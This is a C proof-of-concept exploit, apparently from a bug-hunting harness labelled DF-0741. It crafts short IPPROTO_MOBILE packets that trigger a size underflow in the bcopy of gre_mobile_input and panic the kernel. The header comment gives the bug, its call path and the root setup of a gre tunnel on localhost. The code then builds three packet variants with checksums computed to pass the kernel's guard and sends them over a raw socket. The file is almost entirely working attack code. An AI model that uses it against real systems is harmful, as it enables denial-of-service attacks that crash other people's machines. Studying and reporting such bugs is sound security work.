/*
 * DF-0741 — gre_mobile_input bcopy size underflow
 * Trigger: send a short IPPROTO_MOBILE packet to a host that has a
 * gre-mobile tunnel (gre0 g_proto=IPPROTO_MOBILE) configured with
 * g_src/g_dst matching the packet's outer IP src/dst.
 *
 * In sys/netinet/ip_gre.c:gre_mobile_input the line:
 *
 *   bcopy((caddr_t)(ip) + (ip->ip_hl << 2) + msiz,
 *         (caddr_t)(ip) + (ip->ip_hl << 2),
 *         m->m_len - msiz - (ip->ip_hl << 2));
 *
 * has a 3rd argument that is evaluated as a *signed int* (m->m_len,
 * msiz and (ip->ip_hl << 2) are all int-width) and is then implicitly
 * widened to size_t for bcopy().  If m->m_len < msiz + ip_hl*4 the
 * value is negative and becomes ~2^64, so bcopy reads/writes
 * gigabytes and faults immediately -> kernel panic / DoS.
 *
 * Reachability path:
 *   ip_input -> ip_protox[IPPROTO_MOBILE] -> encap4_input
 *     -> mask_match finds gre0 (g_proto=IPPROTO_MOBILE)
 *       -> gre_mobile_input  (no m_pullup, no length check)
 *
 * The injected packet is sized so that m_len == ip_hl*4 + 4, but the
 * mobile header (no S-bit) requires msiz = MOB_H_SIZ_S = 8 bytes, so
 * the bcopy length = m_len - 8 - 20 = -4 -> 0xFFFFFFFFFFFFFFFC.
 *
 * Setup (root, see run.sh): create gre0 in mobile mode with
 *   g_src=127.0.0.1 g_dst=127.0.0.1 ; ifconfig gre0 up
 * then send the crafted packet to 127.0.0.1 (raw socket, IP_HDRINCL).
 *
 * NB: the in-kernel gre_in_cksum() of the mobile header must return 0
 * (line 232) or the packet is dropped before the bcopy.  We compute
 * the header checksum so it passes.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* mirror of sys/net/gre/if_gre.h mobile_h layout */
struct mobile_h {
    uint16_t proto;   /* protocol and S-bit (network byte order) */
    uint16_t hcrc;    /* header checksum */
    uint32_t odst;    /* original destination address */
    uint32_t osrc;    /* original source address, present iff S-bit */
} __attribute__((__packed__));

#define MOB_H_SBIT 0x0080
#define IPPROTO_MOBILE 55

/* gre_in_cksum from if_gre.c:805 — same algorithm */
static uint16_t
gre_in_cksum(const uint16_t *p, size_t len)
{
    uint32_t sum = 0;
    int nwords = len >> 1;
    while (nwords-- != 0)
        sum += *p++;
    if (len & 1) {
        union { uint16_t w; uint8_t c[2]; } u;
        u.c[0] = *(const uint8_t *)p;
        u.c[1] = 0;
        sum += u.w;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (uint16_t)(~sum);
}

int
main(int argc, char **argv)
{
    const char *dst_s = "127.0.0.1";
    const char *src_s = "127.0.0.1";
    if (argc > 1) dst_s = argv[1];
    if (argc > 2) src_s = argv[2];

    /*
     * Build packet: 20-byte IPv4 header + 4 bytes of mobile header
     * (proto + hcrc only).  m_len at gre_mobile_input == 24.
     * msiz == 8 (S-bit clear, MOB_H_SIZ_S = sizeof(mobile_h)-4 = 8).
     * bcopy length = 24 - 8 - 20 = -4 -> 0xFFFFFFFFFFFFFFFC.
     */
    unsigned char pkt[24];
    memset(pkt, 0, sizeof(pkt));

    struct ip *ip = (struct ip *)pkt;
    ip->ip_v   = 4;
    ip->ip_hl  = 5;            /* 20 bytes */
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(pkt));
    ip->ip_id  = htons(0x4141);
    ip->ip_off = 0;
    ip->ip_ttl = 64;
    ip->ip_p   = IPPROTO_MOBILE;
    ip->ip_sum = 0;
    inet_pton(AF_INET, src_s, &ip->ip_src);
    inet_pton(AF_INET, dst_s, &ip->ip_dst);
    ip->ip_sum = gre_in_cksum((const uint16_t *)ip, 20); /* ipv4 hdr csum */

    /* mobile header at offset 20: proto + hcrc (4 bytes), no odst.
     * S-bit clear => msiz = MOB_H_SIZ_S = 8.
     * hcrc chosen so gre_in_cksum(&mh, 8) == 0 (passes the line 232
     * guard).  We compute it over an 8-byte view of the header area
     * (only 4 bytes are inside the mbuf; the other 4 are whatever is
     * in the mbuf cluster past m_len — but for the cksum we want a
     * deterministic pass, so we set hcrc so the 8-byte sum that
     * gre_in_cksum *actually computes* in-kernel comes out 0 when the
     * in-mbuf bytes are as below).  In practice the kernel reads 8
     * bytes starting at mh; 4 of those are our pkt bytes, the next 4
     * are mbuf-cluster residue.  We can't know residue, so we instead
     * make the S-bit SET (msiz=MOB_H_SIZ_L=12) so a *shorter* packet
     * still triggers the underflow AND we don't need a deterministic
     * cksum — see alternate path below. */
    /* Here: keep S-bit clear; the cksum will likely fail on residue,
     * so we ALSO try a packet where the entire 8-byte mobile header
     * IS present (28-byte packet) but m_len gets truncated to 24 by
     * chopping the trailing bytes — that's not possible from a single
     * send, so we rely on the S-bit-on variant in the second send. */

    /* === Variant A: 24-byte packet, S-bit clear, hcrc computed over
     *     the 4 bytes we DO control plus zeros for the missing 4
     *     (assuming residue is zero — works on freshly-allocated
     *     mbufs).  If the in-kernel cksum is non-zero on residue, the
     *     packet is dropped at line 232-234 and we move to Variant B. */
    {
        struct mobile_h mh;
        memset(&mh, 0, sizeof(mh));
        mh.proto = htons(0);   /* no S-bit; protocol 0 is fine for the trigger */
        mh.hcrc  = 0;
        mh.odst  = 0;          /* residue slot, will be missing from the mbuf */
        mh.hcrc  = gre_in_cksum((const uint16_t *)&mh, 8); /* make sum=0 */
        memcpy(pkt + 20, &mh, 4);  /* only the first 4 bytes go on the wire */
    }

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_MOBILE);
    if (s < 0) { perror("socket"); fprintf(stderr, "need root\n"); return 2; }
    int one = 1;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
        perror("IP_HDRINCL");

    struct sockaddr_in dst;
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    inet_pton(AF_INET, dst_s, &dst.sin_addr);

    printf("[DF-0741] sending 24-byte IPPROTO_MOBILE packet "
           "(m_len=24, msiz=8, ip_hl=5 -> bcopy len = %lld)\n",
           (long long)((unsigned)24 - 8 - 20));

    ssize_t n = sendto(s, pkt, sizeof(pkt), 0,
                       (struct sockaddr *)&dst, sizeof(dst));
    if (n < 0) perror("sendto variant A");
    else printf("[DF-0741] variant A sent %zd bytes\n", n);

    /* === Variant B: 24-byte packet with S-bit set.
     *     msiz = MOB_H_SIZ_L = 12.  bcopy len = 24 - 12 - 20 = -8
     *     -> 0xFFFFFFFFFFFFFFF8.  S-bit also forces a write into
     *     mip->mi.ip_src at line 225 (mip->mh.osrc) — but osrc is
     *     past our 4-byte payload so it reads residue too.  Either
     *     way the bcopy underflows. */
    {
        unsigned char pktB[24];
        memset(pktB, 0, sizeof(pktB));
        struct ip *ipB = (struct ip *)pktB;
        *ipB = *ip;
        ipB->ip_sum = 0;
        ipB->ip_sum = gre_in_cksum((const uint16_t *)ipB, 20);

        struct mobile_h mh;
        memset(&mh, 0, sizeof(mh));
        mh.proto = htons(MOB_H_SBIT);  /* S-bit set => msiz = 12 */
        mh.hcrc  = 0;
        mh.odst  = 0;
        mh.osrc  = 0;
        mh.hcrc  = gre_in_cksum((const uint16_t *)&mh, 12);
        memcpy(pktB + 20, &mh, 4);

        printf("[DF-0741] sending 24-byte S-bit variant "
               "(m_len=24, msiz=12, ip_hl=5 -> bcopy len = %lld)\n",
               (long long)((unsigned)24 - 12 - 20));
        n = sendto(s, pktB, sizeof(pktB), 0,
                   (struct sockaddr *)&dst, sizeof(dst));
        if (n < 0) perror("sendto variant B");
        else printf("[DF-0741] variant B sent %zd bytes\n", n);
    }

    /* === Variant C: 26-byte packet, S-bit clear.
     *     msiz=8, bcopy len = 26 - 8 - 20 = -2 -> 0xFFFFFFFFFFFFFFFE.
     *     Same idea, slightly less aggressive truncation. */
    {
        unsigned char pktC[26];
        memset(pktC, 0, sizeof(pktC));
        struct ip *ipC = (struct ip *)pktC;
        *ipC = *ip;
        ipC->ip_len = htons(26);
        ipC->ip_sum = 0;
        ipC->ip_sum = gre_in_cksum((const uint16_t *)ipC, 20);

        struct mobile_h mh;
        memset(&mh, 0, sizeof(mh));
        mh.proto = htons(0);
        mh.hcrc  = 0;
        mh.odst  = 0;
        mh.hcrc  = gre_in_cksum((const uint16_t *)&mh, 8);
        memcpy(pktC + 20, &mh, 6);  /* 6 of the 8 bytes are ours */

        printf("[DF-0741] sending 26-byte variant "
               "(m_len=26, msiz=8, ip_hl=5 -> bcopy len = %lld)\n",
               (long long)((unsigned)26 - 8 - 20));
        n = sendto(s, pktC, sizeof(pktC), 0,
                   (struct sockaddr *)&dst, sizeof(dst));
        if (n < 0) perror("sendto variant C");
        else printf("[DF-0741] variant C sent %zd bytes\n", n);
    }

    close(s);
    usleep(200000);
    printf("[DF-0741] if the guest is reachable after this, the path did not "
           "fire (or the in-mbuf cksum rejected it); check boot.log for a "
           "panic.\n");
    return 0;
}
